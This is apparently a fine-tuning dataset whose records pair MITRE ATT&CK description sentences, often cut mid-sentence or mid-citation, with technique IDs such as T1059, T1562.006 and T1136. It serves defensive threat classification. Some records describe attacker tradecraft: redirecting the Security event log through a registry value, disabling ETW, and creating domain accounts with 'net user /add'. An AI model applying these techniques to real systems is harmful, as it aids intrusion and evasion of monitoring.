built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse PowerShell commands and scripts for execution.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse PowerShell commands and scripts for execution. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell)", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples include the <code>Start-Process</code> cmdlet which can be used to run an executable and the <code>Invoke-Command</code> cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation:", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Github PSAttack)", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Github PSAttack) ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: PowerShell commands/scripts can also be executed without directly invoking the <code>powershell.exe</code> binary through interfaces to PowerShell's underlying <code>System. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Management.", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Management. ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation:", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Automation</code> assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)", "output": "T1059.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) ### Response: T1059.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse cloud APIs to execute malicious commands.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse cloud APIs to execute malicious commands. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP).", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.", "output": "T1059.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. ### Response: T1059.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse various implementations of JavaScript for execution.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse various implementations of JavaScript for execution. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "JScript is the Microsoft implementation of the same scripting standard.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: JScript is the Microsoft implementation of the same scripting standard. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002).", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation:", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple About Mac Scripting 2016)(Citation:", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple About Mac Scripting 2016)(Citation: ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SpecterOps JXA 2020)(Citation:", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SpecterOps JXA 2020)(Citation: ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode) ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse various implementations of JavaScript to execute various behaviors.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse various implementations of JavaScript to execute various behaviors. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads.", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", "output": "T1059.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027). ### Response: T1059.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation:", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Medium Event Tracing Tampering 2018)", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Medium Event Tracing Tampering 2018) ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).", "output": "T1562.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck). ### Response: T1562.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create an account to maintain access to victim systems.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create an account to maintain access to victim systems. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Accounts may be created on the local system or within a domain or cloud tenant.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Accounts may be created on the local system or within a domain or cloud tenant. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a domain account to maintain access to victim systems.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a domain account to maintain access to victim systems. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domain accounts can cover user, administrator, and service accounts.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domain accounts can cover user, administrator, and service accounts. ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, the <code>net user /add", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a sufficient level of access, the <code>net user /add ### Response: T1136.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/domain</code> command can be used to create a domain account.", "output": "T1136.002", "text": "Below is an instruction that describes a task, paired with an input that 